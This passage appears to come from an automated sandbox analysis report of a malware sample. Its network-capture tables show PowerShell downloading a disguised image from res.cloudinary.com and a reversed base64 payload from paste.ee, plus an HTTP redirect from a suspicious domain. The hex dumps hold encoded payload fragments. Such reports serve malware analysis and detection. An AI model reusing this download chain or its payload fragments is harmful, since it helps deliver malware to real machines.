Vp=sJNaLCS+5K5JrLq/G4EOwmsApzvbXwHQnAWF8yXHJZmqN4RPSQcsPfKPul1oeT/p/LOSP4m+HLRRCXqVk2/6RZKhaDZey/Pn0/lEoSeJQlR+fLluKw6JlO2nu+7GHGIm0IqO1FKkyO9LvhU4OV8Y3BEtAVNX67Uwuii+9VZa9eO3pDtVJIKTYcdjEzkKKm/xrROFlD+trFdosOnU95+WRTDXb28VN7TJL3d73wsnaTFg4fbw4tDSYDXQ84NLILlPZs5OYQra6ACN6gELJrzdbgITX+Q45IudcTF9tBLHPOmRXl4s9t4WMtloHjjS80Z+rw+vHBYb06b20IpCkz3cc8nzUgcQRRESRkVl/vWFCAyK8v4SDr8R+zEFnB6SOJSuv1a/tMosZEGfyTOt31MNaBH5enGXH2Xpo/BgrldRcBXds591m407bcDjS0KrIMj16oIFP55vJ8BTqtMpRjFmU23wN8O+p23/Wo1v8Om2jOSUdJvRiqe9cr31P9XM2Q9sMQnP+GzrDGPG2B6vNUn8P5HtX15itc2qwdyuN5bekUBq6i2+jETWVt2g1FlGVBYOj2cXRk8ApUUFtLjNr5Qx5qrq+ivQDNsUOkWWu+1f3/iWQtfXGUBQTpa+bmeCoUDz7n+7CJE3XtSuaF5tlFf96QPaCJmczYwBwG9V+wWTgK60bQS0wr200wbOzXeZjXX+F1DvJ5qTW1s9Bn+yHJHJgSuUmLrKVHwRfGakWDm165JqdhYCkdGrXbGhaou5SJtWG4STHNvmUXF4+xgTdnkUsCkj24vWxW5QDZ+CWjZgOlcTRIa9RGRuTSKN4FaV2OEuMAuPiQHt71JncrEaVbsi5Hjy3kBAntRFNuyynucfFCijHqewFq8ji45syGStx9bR2wjSrh9OU3pXYnAIHq2tze771gks4VjsJmiJnM/j48mwNEokuaB7yjAqN60KlDIlx9BbzgfE9JWkrWp/G8zI8HJDe1Du18G1VJWLT3KSH/x93mcEo [TRUNCATED]
Dec 13, 2024 07:40:24.412647009 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49991	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:40:25.976988077 CET	556	OUT	GET /lrgf/?4j6=34T0Mpup0HM&Vp=hLl6Iyyv1/RGmZWnRJ8bmiMJmTP6dhK4gm2wi1fTCYCBRK5IakRwGOHrv3dZYUH5yIXieuiAG/czDQPLmWqEXri0WwwC7LrF760VohCsOW1AaptwdQrPiPahh9b1GlBygA== HTTP/1.1 Host: www.deikamalaharris.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Dec 13, 2024 07:40:27.067378044 CET	387	IN	HTTP/1.1 200 OK content-type: text/html date: Fri, 13 Dec 2024 06:40:26 GMT content-length: 266 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 34 6a 36 3d 33 34 54 30 4d 70 75 70 30 48 4d 26 56 70 3d 68 4c 6c 36 49 79 79 76 31 2f 52 47 6d 5a 57 6e 52 4a 38 62 6d 69 4d 4a 6d 54 50 36 64 68 4b 34 67 6d 32 77 69 31 66 54 43 59 43 42 52 4b 35 49 61 6b 52 77 47 4f 48 72 76 33 64 5a 59 55 48 35 79 49 58 69 65 75 69 41 47 2f 63 7a 44 51 50 4c 6d 57 71 45 58 72 69 30 57 77 77 43 37 4c 72 46 37 36 30 56 6f 68 43 73 4f 57 31 41 61 70 74 77 64 51 72 50 69 50 61 68 68 39 62 31 47 6c 42 79 67 41 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?4j6=34T0Mpup0HM&Vp=hLl6Iyyv1/RGmZWnRJ8bmiMJmTP6dhK4gm2wi1fTCYCBRK5IakRwGOHrv3dZYUH5yIXieuiAG/czDQPLmWqEXri0WwwC7LrF760VohCsOW1AaptwdQrPiPahh9b1GlBygA=="}</script></head></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	151.101.1.137	443	1096	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 06:38:29 UTC	127	OUT	GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1 Host: res.cloudinary.com Connection: Keep-Alive
2024-12-13 06:38:29 UTC	750	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2230233 Content-Type: image/jpeg Etag: "7b9a6708dc7c92995f443d0b41dbc8d0" Last-Modified: Mon, 02 Dec 2024 10:22:29 GMT Date: Fri, 13 Dec 2024 06:38:29 GMT Strict-Transport-Security: max-age=604800 Cache-Control: public, no-transform, immutable, max-age=2592000 Server-Timing: cld-fastly;dur=2;cpu=1;start=2024-12-13T06:38:29.378Z;desc=hit,rtt;dur=169,content-info;desc="width=1920,height=1080,bytes=2230233,o=1,ef=(17)" Server: Cloudinary Timing-Allow-Origin: * Access-Control-Allow-Origin: * Accept-Ranges: bytes X-Content-Type-Options: nosniff Access-Control-Expose-Headers: Content-Length,ETag,Server-Timing,X-Content-Type-Options x-request-id: 6f487a4c60d72621f2efeecff85ca20a
2024-12-13 06:38:29 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-12-13 06:38:29 UTC	1378	IN	Data Raw: 77 24 91 80 f7 ed aa 38 13 c5 74 2e 92 f9 a4 19 c0 50 c1 95 13 cc f4 aa d7 4f e2 f4 f6 cf 9a 34 12 6a 34 d1 ac 34 c0 35 95 3d b3 e9 ff 00 b5 df 0d 9e 5f 16 d1 c2 37 3c 8c ae 62 55 46 b2 4b 70 2d 85 9e 48 cf 03 04 29 1a 02 c8 cb 27 e1 22 e8 8f 87 f3 c0 63 45 08 87 48 b1 94 0b b9 a8 91 99 9a b8 22 87 5d 10 0c cd 1b b7 a8 92 00 02 e8 d6 6a e9 8a 5b 07 65 52 c0 a8 46 37 fa 62 5a 9d 3c 47 59 18 29 b4 1d c3 d2 47 3f 4c 09 9f 4f a7 74 d3 90 78 2c c0 37 bf 3c 73 8a 10 92 a8 46 da b2 2c 8a a8 77 71 9b 83 4e 8f 0a 82 ab ed c1 ac ce 7f 04 8d 35 22 50 e5 08 6b aa b1 81 68 b5 2c ec eb e5 80 55 14 32 31 a5 53 75 63 e7 97 d6 cd 1e a2 6d 36 91 ee de 4f 55 76 14 79 07 0b 2b 22 ef 72 88 c0 2f a9 8a 8e 6b 31 f4 8c da ed 7c d2 10 5c 85 3b 2c d5 0a 23 a6 06 b8 8b 6f 90 b0 bc Data Ascii: w$8t.PO4j445=_7<bUFKp-H)'"cEH"]j[eRF7bZ<GY)G?LOtx,7<sF,wqN5"Pkh,U21Sucm6OUvy+"r/k1\|\;,#o
2024-12-13 06:38:29 UTC	1378	IN	Data Raw: 8c cd 80 06 22 88 00 fb 74 c5 c6 89 f4 fe 2d 26 ab ef 2f e5 b0 1e 8a 15 d3 03 7b ef a3 82 6d 4f 7c 20 f1 02 0b 6d 76 25 85 73 99 62 5f 34 d8 1c 7b e1 83 10 a3 8a b3 d7 01 8d 66 a0 49 0c 6a 5b 68 dc c7 75 e1 74 7a 92 cc 1f 71 de be 96 e6 f7 0f 7c c8 f1 3d 3b 6a 61 8e 38 e5 68 88 53 ea 51 cd e4 69 8b 69 b6 02 ec e5 68 59 ea 78 eb 81 ea 25 9c b2 90 2b 69 19 91 39 68 a6 8e 4d 96 a1 83 30 63 c6 30 9a 85 d8 ac 59 55 5b 81 67 92 71 2f 14 95 e6 85 a2 86 89 65 2a 6b b5 e0 6a 45 e2 ed 26 a4 45 1f aa 31 d4 a9 e0 1f 6c cd 97 c4 4b c9 2b 9e 77 31 20 fd 71 4d 32 2f 84 e8 00 6d cc e7 80 7b 9f 8e 27 14 ca fc 0f c3 cf 24 60 3a 67 91 e4 34 0b 1a be b9 07 54 77 8b e0 11 ef df 04 93 a2 2b 51 f5 1e 2b e1 99 7a 9d 2e ac 78 92 ce 35 2d f7 72 2b cb a1 5f 3c 0d 4d 46 b0 24 43 7b Data Ascii: "t-&/{mO\| mv%sb_4{fIj[hutzq\|=;ja8hSQiihYx%+i9hM0c0YU[gq/e*kjE&E1lK+w1 qM2/m{'$`:g4Tw+Q+z.x5-r+_<MF$C{
2024-12-13 06:38:29 UTC	1378	IN	Data Raw: 66 6d 4b f8 66 a7 61 05 96 26 b5 23 f1 70 73 f3 be ae 35 fb ac f2 15 01 99 ef 9e a3 9e d9 f5 ef 18 fb 5d a0 0b 26 92 09 a3 77 64 65 26 fe 07 fe bf ae 7c 9f 57 2c 6f e1 f2 21 70 ae ac 0d 7b e0 62 6c 20 6e 07 80 31 dd 33 bb 44 39 b3 7c 83 8a 79 8d b8 86 e0 1e 31 9d 15 14 65 07 a6 03 88 18 2d 95 5e 72 e2 32 ca 6d 45 1c ac a8 16 35 3b e8 8c a9 d4 24 41 44 8e 59 8f 4e 0e 01 3c b5 58 f6 8b 5a 3c 57 4c 80 be e2 fe 63 38 92 e0 90 f4 3a d6 5c be c4 0e ce 02 81 f9 e0 42 26 e0 56 94 1f 6c 23 82 aa 2d 54 0d c4 8f 8e 29 06 b5 25 76 51 e8 3d af be 32 1d 5c 6d 2c 09 1d f0 0f 13 72 3a 7d 71 b5 72 07 52 7e 03 33 d0 d6 da 3c f7 c6 44 6b d2 46 56 37 55 7d 0e 01 0c 8f 24 8a 63 ba f6 03 bf b6 3a 74 d3 3c 51 3c 60 33 49 b7 d3 e9 0c 2f a1 da 1b 77 36 39 34 39 1e f9 5d 14 f0 e9 Data Ascii: fmKfa&#ps5]&wde&\|W,o!p{bl n13D9\|y1e-^r2mE5;$ADYN<XZ<WLc8:\B&Vl#-T)%vQ=2\m,r:}qrR~3<DkFV7U}$c:t<Q<`3I/w6949]
2024-12-13 06:38:29 UTC	1378	IN	Data Raw: 02 f2 41 e0 62 ed a9 02 44 70 8a c0 0b 66 63 c8 f9 65 03 79 a4 21 b2 3a 71 db 03 2e c8 9c 24 7b 9a fa fc 06 07 ba 3a c5 79 3c b6 3b 59 7b 91 f8 be 58 b6 b4 02 37 6d e7 bf c7 25 cd 2d 06 2c 3f 17 06 b1 43 36 d6 28 cc d4 dc 82 47 4f ae 00 1d 03 03 e9 c0 ec 01 b6 ed e9 8e 05 3b 6a ab db e3 95 f2 8b 03 5c 0e f8 0b 30 55 21 42 96 63 d1 47 7c 22 e8 dc 95 79 9d ae ec 20 6e 07 cf 0e a8 ab ca a5 03 d0 e5 e2 47 67 a2 2e b0 07 20 26 43 e9 ed c7 1f d7 2a 51 c2 9b 5e b8 47 23 71 04 51 ca 16 24 71 80 22 18 70 16 b2 e8 8c 48 39 60 bc d0 be 7a d6 6a 78 57 86 2e b9 a5 56 b5 0a bf 89 7a 86 c0 48 0f 49 17 47 2b b5 98 10 1b 93 c0 cf 56 3c 0f 47 c3 04 90 81 41 bd 46 c9 ae bc 63 71 e8 74 b1 a8 03 4d 18 ae fb 45 fe 67 03 c2 18 66 d3 b5 14 60 4f 3e ae f9 74 0c ec 41 5c f7 6f a7 Data Ascii: AbDpfcey!:q.${:y<;Y{X7m%-,?C6(GO;j\0U!BcG\|"y nGg. &C*Q^G#qQ$q"pH9`zjxW.VzHIG+V<GAFcqtMEgf`O>tA\o
2024-12-13 06:38:29 UTC	1378	IN	Data Raw: f1 15 94 48 14 8d b6 ca df a7 03 e9 f1 cc df b0 9a 89 a3 d3 7d a7 48 0c aa 4f 84 33 7a 05 9a 12 c4 39 ae db 49 07 e1 78 6f b5 a3 56 df b4 cd 42 6a db 6c ad a8 85 db 71 e8 19 51 81 f8 0a 38 1e fb ed 9c ba 65 d2 cd f6 82 49 4c da 88 d8 68 f4 fb a3 2c b1 f9 91 ee 2f 67 f1 10 a1 80 1d 8b 03 db 3e 6f a5 7d 2b 49 12 ef 8d 83 7e 0e 3a 8a 24 9e 9c 1f 7f 9e 7b 5f da 44 2f a0 f0 ff 00 0d 48 24 46 1a ad 05 36 c4 5a 71 4a 40 aa e7 9a e7 3e 65 f7 7d 42 08 d6 35 7a f2 dd 94 dd 6d 62 bd 30 35 27 d2 46 65 8a 40 54 aa 93 60 8b fd 30 5e 46 98 ea 15 46 9d 41 55 2d c8 a1 f9 74 c4 92 09 9f 4c c3 d4 a4 44 a1 94 25 7a 87 23 a9 e4 f1 97 58 35 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b Data Ascii: H}HO3z9IxoVBjlqQ8eILh,/g>o}+I~:${_D/H$F6ZqJ@>e}B5zmb05'Fe@T`0^FFAU-tLD%z#X54n%,yEa mVV]>e7]umCK
2024-12-13 06:38:29 UTC	1378	IN	Data Raw: 0f 38 48 fe dc e9 54 9b 82 4d fd 58 12 28 e7 cf e7 79 21 87 cc 2e ca e0 72 a8 2f 13 89 e4 d5 5b c6 ee 48 fc 4a c2 b0 3d e6 a7 ed f6 98 ea 3f 79 a6 90 83 de c0 c9 3f 6c 74 82 88 d3 b8 53 ec dc e7 cf a5 47 2d be 6b bb a0 06 3f 04 cd 0a 82 f0 2c 8a dc 0d d8 1e b9 be da e9 18 d7 95 29 3d bd 57 94 7f b7 3a 54 50 7e eb 2b 3d 55 93 9e 6a 2d 56 9b 54 ac 53 49 12 95 34 48 26 ef 17 95 d7 cc 56 11 2f c4 73 c6 07 a8 9b ed f6 8a 14 2c 74 ce 1a ba 6e ac cb f0 9f b5 be 11 e1 d3 4b 20 4d 43 bc c7 73 6e 6b 0a 7d 80 ac cd 30 69 b5 3e 96 d2 a3 12 3f 10 ea 33 16 5f 04 d4 0d 63 46 8b 69 d4 37 41 81 bf e3 9f 6c e5 d4 f8 a4 53 78 74 af 0c 51 0d db 4d 90 cd ec 46 7a 78 be de e8 bc a5 59 f4 ec d2 6c 05 88 60 05 9f 60 73 c1 41 e0 b1 23 7e f8 b3 f1 cf 6a 39 a9 f7 7d 24 6a 0b a0 07 Data Ascii: 8HTMX(y!.r/[HJ=?y?ltSG-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7AlSxtQMFzxYl``sA#~j9}$j
2024-12-13 06:38:29 UTC	1378	IN	Data Raw: 93 c3 b9 dc ee 49 76 31 34 6a b8 dc 05 11 d7 8b bc 70 f8 b6 92 49 de 46 2e 1e 55 62 e4 a2 90 58 83 c9 1d f8 24 59 b3 de f3 0e 69 7c cd a2 ec 2a 95 51 55 42 c9 fa f5 38 17 95 15 a4 31 a2 aa b2 83 6b 1d 91 c5 d9 b2 7d b2 da 77 31 22 d4 65 b7 b1 50 7d c8 af ee 30 63 51 21 05 4b 02 0d d9 2a 09 e7 ad 1a b1 91 1c 92 aa 00 ad 41 4e e0 3d 8f 1f db 01 89 35 3b c0 20 15 db de f0 6f a9 56 75 76 dc 48 ed bb 8c 08 5b 4a 17 7d f9 ca 88 49 e2 f9 18 1a 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 Data Ascii: Iv14jpIF.UbX$Yi\|QUB81k}w1"eP}0cQ!KAN=5; oVuvH[J}I#k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*
2024-12-13 06:38:29 UTC	1378	IN	Data Raw: 55 78 17 d8 df cf 2b 2c 4e 80 47 2a b5 05 dd 83 d3 29 55 65 55 65 1b 88 c0 d0 66 49 22 dc ae c1 81 be 17 8e 98 b8 77 8c 15 90 2d 6e ea 32 88 5e 32 40 1b ab 2a 25 32 69 64 0c c3 75 1f cc 74 c0 b4 00 44 43 48 3d 24 9e be d9 57 87 73 82 09 b3 d6 b1 53 aa 77 34 e4 5d 03 47 e5 93 f7 c4 14 49 da 40 2a 7e 3f 96 07 ad 79 e3 61 bd 4e d0 7b e4 95 8a 45 b0 c5 8f c3 02 ba 33 cb 53 00 3b 9c 80 42 b1 3b b9 f9 60 18 ce aa 42 b2 86 1d 2c 76 f9 e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a Data Ascii: Ux+,NG)UeUefI"w-n2^2@%2idutDCH=$WsSw4]GI@~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk>BDoGJp+m+{
2024-12-13 06:38:29 UTC	1378	IN	Data Raw: 20 86 62 6f b7 53 95 e9 c1 c0 bc 8f be be 19 5d c4 8a ed 90 7e 1d 32 39 c0 90 48 37 9c 4d 9c e1 d7 9e 99 6a 5f 2e ef d5 7d 3e 18 10 8a 5d c2 8e a7 8c 69 34 c5 24 56 24 30 0d 46 b1 55 b1 ea 1d 46 31 16 a9 92 68 d9 85 aa 90 6b 01 c1 a3 1f 78 16 c0 03 ea 1c d1 c0 ea a1 47 d4 b2 c6 e2 c0 b3 63 fa e0 66 d4 34 f3 16 51 42 c9 03 28 ac 03 31 65 dc 4f 7f 6c 06 e7 83 7e 99 69 cb 32 f7 6e ff 00 2c 5a 39 4a c0 e9 cd 9e 38 cd 24 4f 37 40 10 47 6c 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 Data Ascii: boS]~29H7Mj_.}>]i4$V$0FUF1hkxGcf4QB(1eOl~i2n,Z9J8$O7@Gl:'6Xi50X~?G6OBwV)\|jXmsf9 `we!6q{PG\|$iar_LNb#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49753	172.67.187.200	443	1096	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 06:38:49 UTC	67	OUT	GET /r/EDVuc/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-12-13 06:38:50 UTC	1286	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 06:38:49 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' CF-Cache-Status: HIT Age: 76200 Last-Modified: Thu, 12 Dec 2024 09:28:49 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GqjCtnf4TX97RvvJd9kVaNem%2Bc%2FMVgZ5TQNVd9XaVzblbzbMeIYFvrSJ%2BNjkTEEtNP2aRCnmlZi3CacPedJeLFUhwLF3PEsi9hftkqCfE1bEo2etXSVW35kvlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f13f419ad5843d7-EWR alt-svc: h3=":443"; ma=86400
2024-12-13 06:38:50 UTC	215	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 37 32 39 26 6d 69 6e 5f 72 74 74 3d 31 35 36 35 26 72 74 74 5f 76 61 72 3d 39 31 35 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 37 26 72 65 63 76 5f 62 79 74 65 73 3d 36 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 30 31 34 39 34 36 26 63 77 6e 64 3d 32 30 38 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 66 35 63 34 31 30 37 30 38 36 38 66 30 38 32 64 26 74 73 3d 34 35 36 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1729&min_rtt=1565&rtt_var=915&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=681&delivery_rate=1014946&cwnd=208&unsent_bytes=0&cid=f5c41070868f082d&ts=456&x=0"
2024-12-13 06:38:50 UTC	1237	IN	Data Raw: 33 38 33 32 0d 0a 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 3832=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-13 06:38:50 UTC	1369	IN	Data Raw: 46 70 53 4b 46 61 49 33 4c 38 62 7a 4b 30 38 69 6b 65 64 55 64 4f 34 76 42 6c 79 6b 39 61 56 53 6b 38 31 2b 70 4d 65 33 6b 57 43 4f 36 5a 69 31 53 6c 54 56 68 74 6a 64 38 2f 2b 52 38 39 31 62 35 4a 78 48 58 57 31 37 6e 35 6d 4c 49 38 4c 6b 69 56 56 51 45 54 41 35 35 65 47 56 46 59 75 7a 62 51 41 2f 50 2f 4c 6d 62 46 38 68 38 7a 31 67 51 4c 77 65 2f 49 32 31 33 48 57 79 72 62 68 76 47 2b 78 43 35 43 2f 67 41 78 48 4c 48 69 66 59 53 70 70 50 36 39 56 72 35 62 68 2f 56 58 74 76 5a 37 34 53 78 4e 48 50 7a 46 37 62 51 67 61 6a 46 4e 56 6b 73 44 76 52 36 64 6a 39 54 49 38 35 72 55 53 64 2f 6a 75 75 69 71 77 36 63 44 67 63 4d 32 35 69 59 38 4e 4e 64 38 45 53 55 54 41 76 79 6f 71 70 2b 6b 61 51 59 59 5a 7a 48 41 2b 4a 6e 68 31 77 74 4a 55 71 42 39 33 67 6b 2b 67 Data Ascii: FpSKFaI3L8bzK08ikedUdO4vBlyk9aVSk81+pMe3kWCO6Zi1SlTVhtjd8/+R891b5JxHXW17n5mLI8LkiVVQETA55eGVFYuzbQA/P/LmbF8h8z1gQLwe/I213HWyrbhvG+xC5C/gAxHLHifYSppP69Vr5bh/VXtvZ74SxNHPzF7bQgajFNVksDvR6dj9TI85rUSd/juuiqw6cDgcM25iY8NNd8ESUTAvyoqp+kaQYYZzHA+Jnh1wtJUqB93gk+g
2024-12-13 06:38:50 UTC	1369	IN	Data Raw: 65 65 48 71 43 46 69 71 30 45 71 5a 56 6e 67 50 35 33 36 44 6a 4e 67 63 4c 45 65 66 6e 49 6e 64 6b 6f 2f 73 65 64 63 44 49 50 50 7a 79 53 5a 2f 76 33 6a 50 30 68 75 6f 4e 4c 69 62 62 63 57 5a 49 51 78 6a 6e 46 64 54 69 4b 34 5a 4f 67 74 32 56 67 4e 56 70 54 31 38 4b 2f 36 61 70 73 38 50 75 61 53 6c 6e 4b 6c 66 4d 58 63 69 35 6c 6f 62 75 6a 4c 4e 4f 66 4c 55 76 2f 36 76 6b 51 76 7a 54 48 4d 61 47 63 58 4a 4e 4d 76 4b 34 74 33 4b 31 71 6d 63 63 36 68 78 66 32 33 6d 54 5a 48 4a 32 6c 7a 46 6f 35 37 4f 56 6f 62 6c 4d 45 31 65 4d 79 31 6e 76 6a 48 74 4e 6e 6f 35 77 45 38 71 31 45 42 65 45 42 38 46 6a 43 33 57 52 64 2b 37 55 45 36 63 34 4b 37 79 34 69 4c 35 63 55 32 43 76 44 70 55 4c 73 48 48 2f 30 50 6e 67 47 6a 61 57 34 4c 7a 53 53 70 32 4b 67 48 52 59 70 6f Data Ascii: eeHqCFiq0EqZVngP536DjNgcLEefnIndko/sedcDIPPzySZ/v3jP0huoNLibbcWZIQxjnFdTiK4ZOgt2VgNVpT18K/6aps8PuaSlnKlfMXci5lobujLNOfLUv/6vkQvzTHMaGcXJNMvK4t3K1qmcc6hxf23mTZHJ2lzFo57OVoblME1eMy1nvjHtNno5wE8q1EBeEB8FjC3WRd+7UE6c4K7y4iL5cU2CvDpULsHH/0PngGjaW4LzSSp2KgHRYpo
2024-12-13 06:38:50 UTC	1369	IN	Data Raw: 31 4b 71 4c 59 37 79 71 47 47 59 69 47 7a 6a 6c 6d 32 47 44 2f 70 42 4c 6e 48 79 33 70 6c 71 66 74 76 5a 53 2b 5a 6c 52 79 2f 6a 75 5a 5a 61 33 6a 38 45 42 41 78 48 6a 50 67 2f 37 56 65 73 65 76 6a 68 36 61 64 62 4c 51 52 43 43 39 33 32 32 71 71 38 78 6b 42 6c 54 63 76 46 7a 74 30 73 70 67 76 42 76 37 35 66 42 43 70 75 4b 6f 49 75 63 4b 57 33 69 42 53 6f 63 69 48 6f 48 34 45 37 53 37 45 71 7a 4b 4c 45 72 6c 34 4a 79 46 56 76 78 35 50 4d 36 78 47 63 68 76 72 72 33 66 72 32 4a 33 4e 39 48 30 47 79 65 56 68 75 69 45 6c 6f 72 63 34 34 31 6b 2f 65 72 31 58 37 74 46 7a 4e 7a 47 48 47 6e 4f 75 48 75 49 75 68 44 66 5a 38 69 2f 54 